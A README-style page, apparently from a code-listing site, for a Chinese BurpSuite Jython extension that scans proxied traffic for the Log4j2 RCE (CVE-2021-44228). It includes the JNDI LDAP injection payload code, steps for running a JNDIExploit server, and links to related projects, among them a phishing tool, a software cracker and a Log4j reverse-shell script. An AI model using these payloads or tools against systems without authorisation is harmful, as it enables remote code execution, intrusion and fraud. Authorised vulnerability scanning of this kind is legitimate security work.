BurpSuite Extension: Log4j RCE Scanner

Overview

Log4j2 RCE Scanner

作者:key@元亨实验室

小广告:实验室纳新招人,岗位方向有安全研究(攻防、漏洞)、威胁情报(APT分析)、内部安全(SDL、安全研发),简历投递至邮箱:c2VjdXJpdHlAemhvbmdmdS5uZXQ=

前言

这是一个用于扫描近期爆出的Log4j2 RCE漏洞的BurpSuite插件,其原理就是基于BurpSuite提供的被动式扫描API,对流经Burp Proxy模块的流量进行全量扫描,扫描作用域为:请求参数(JSON字段、正常请求参数、Cookie参数、XML字段、Mulitpart)、请求头(请求自带请求头与自定义请求头)。

它与其他插件的区别:

  1. 一个点一个Payload(Hash区分),便于追踪漏洞位置;
  2. 仅支持LDAP Log接口,不支持DNS扫描探测,便于快速定位有效漏洞位置进行自查自检;
  3. 使用Python(Jython)编写,可以非常快速的进行二次开发、代码阅读,例如你可以改造这个项目为SQL注入、XSS盲打的探测插件;
  4. 支持扫描作用域相对较全。

使用方法

  1. 准备工作:该插件用Python(Jython)所写,所以需要你的BurpSuite加载Jython的Jar包,下载地址:https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.2/jython-standalone-2.7.2.jar,BurpSuite加载位置:BurpSuite - Extender - Options - Python Environment - Location of Jython standalone JAR file。

  2. 准备LDAP Log接口:由于插件的特殊性,在不更改插件代码的情况下,建议你准备一台服务器,在上面部署LDAP服务并提供一个Web API给到插件,这里推荐Command2API项目,搭配JNDIExploit使用。

    python Command2Api.py "java -jar JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0" 9889

  3. 填写配置:下载Python文件到本地,存储在无空格、无特殊符号、无中文的目录下,接着替换如下代码:

    LDAP 服务的主机地址(域名/IP,请注意内、外网环境) # LDAP_PORT -> LDAP 服务的主机端口 return self._helpers.urlEncode("${jndi:ldap://LDAP_HOST:LDAP_PORT/" + random_md5 + "}")">
    # LDAP_API_HOST -> LDAP Log接口的主机地址(域名/IP,请注意内、外网环境)
    # LDAP_API_PORT -> LDAP Log接口的主机端口
    # LDAP_API_PORT -> LDAP Log接口的路由
    # 建议搭配Command2API项目一起使用,其他接口请自行更改代码
    url = "http://LDAP_API_HOST:LDAP_API_PORT/LDAP_API_ROUTE"
    # LDAP_HOST -> LDAP 服务的主机地址(域名/IP,请注意内、外网环境)
    # LDAP_PORT -> LDAP 服务的主机端口
    return self._helpers.urlEncode("${jndi:ldap://LDAP_HOST:LDAP_PORT/" + random_md5 + "}")

  4. 加载插件:BurpSuite加载位置:BurpSuite - Extender - Extensions - Burp Extensions - Add。

  5. 开始扫描:浏览器挂上BurpSuite代理,让流量流经BurpSuite,插件会自动扫描,或者你可以选择结合爬虫的方式将爬虫流量过到BurpSuite进行扫描。

  6. 扫描结果:扫描结果会在Burp Dashboard中展示出来,并且有具体的请求报文,如下图所示,分别是Command2API与LDAP服务接收的日志(由于该漏洞的触发特殊性,建议对这些日志和BurpSuite流量进行保存)以及Burp的扫描结果。

Scans for Log4j versions effected by CVE-2021-44228

check_mkExtension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner (Apache License 2.0) How it works Run i

inett GmbH 4 Jun 30, 2022
WhPhisher: a Phishing tool With Python

WhPhisher Herramienta para hacer phishing con muchos métodos de túneling -----Como Instalarlo------- pkg install python3 pkg install git git clone htt

WhBeatZ 80 Jan 02, 2023
TightVNC Vulnerability.

CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbprot

MaherAzzouzi 15 Jul 11, 2022
Installation of hacking tools

Tools-Spartan This is a program that makes it easy for you to download and install tools used in Kali Linux, there are tons of tools available.

1 Nov 10, 2021
StarUML cracker - StarUML cracker With Python

StarUML_cracker Usage On Linux Clone the repo. git clone https://github.com/mana

Bibek Manandhar 9 Jun 20, 2022
Apk Framework Detector

🚀🚀🚀Program helps you to detect the major framework or technology used in writing any android app. Just provide the apk 😇😇

Daniel Agyapong 10 Dec 07, 2022
The disassembler parses evm bytecode from the command line or from a file.

EVM Bytecode Disassembler The disassembler parses evm bytecode from the command line or from a file. It does not matter whether the bytecode is prefix

alpharush 22 Dec 27, 2022
Android Malware (Analysis | Scoring) System

An Obfuscation-Neglect Android Malware Scoring System Quark-Engine is also bundled with Kali Linux, BlackArch. A trust-worthy, practical tool that's r

Quark-Engine 1k Jan 04, 2023
RedTeam-Security - In this repo you will get the information of Red Team Security related links

OSINT Passive Discovery Amass - https://github.com/OWASP/Amass (Attack Surface M

Abhinav Pathak 5 May 18, 2022
Log4j minecraft with python

log4jminecraft This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purpose

David Bombal 154 Dec 24, 2022
Safety checks your installed dependencies for known security vulnerabilities

Safety checks your installed dependencies for known security vulnerabilities. By default it uses the open Python vulnerability database Safety DB, but

pyup.io 1.4k Dec 30, 2022
Let's you scan the entire internet in a couple of hours and identify all Minecraft servers on IPV4

Minecraft-Server-Scanner Let's you scan the entire internet in a couple of hours and identify all Minecraft servers on IPV4 Installation and running i

116 Jan 08, 2023
How to exploit a double free vulnerability in 2021. 'Use-After-Free for Dummies'

This bug doesn’t exist on x86: Exploiting an ARM-only race condition How to exploit a double free and get a shell. "Use-After-Free for dummies" In thi

Stephen Tong 1.2k Dec 25, 2022
Windows Server 2016, 2019, 2022 Extracter & Recovery

Parsing files from Deduplicated volumes. It can also recover deleted files from NTFS Filesystem that were deduplicated. Installation git clone https:/

0 Aug 28, 2022
A tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine or expire obfuscated scripts.

PyArmor Homepage (中文版网站) Documentation(中文版) PyArmor is a command line tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine

Dashingsoft 1.9k Dec 30, 2022
Log4j2 CVE-2021-44228 revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [At

FaisalFs 16 Mar 24, 2022
Learning to compose soft prompts for compositional zero-shot learning.

Compositional Soft Prompting (CSP) Compositional soft prompting (CSP), a parameter-efficient learning technique to improve the zero-shot compositional

Bats Research 32 Jan 02, 2023
GRR Rapid Response: remote live forensics for incident response

GRR Rapid Response is an incident response framework focused on remote live forensics. Build Type Status Tests End-to-end Tests Windows Templates Linu

Google 4.3k Jan 05, 2023
BOF-Roaster is an automated buffer overflow exploit machine which is begin written with Python 3.

BOF-Roaster is an automated buffer overflow exploit machine which is begin written with Python 3. On first release it was able to successfully break many of the most well-known buffer overflow exampl

Kaan Caglan 5 Nov 23, 2021
MainCoon - an automated recon framework

MainCoon is an automated recon framework meant for gathering information during penetration testing of web applications.

Md. Nur habib 8 Aug 26, 2022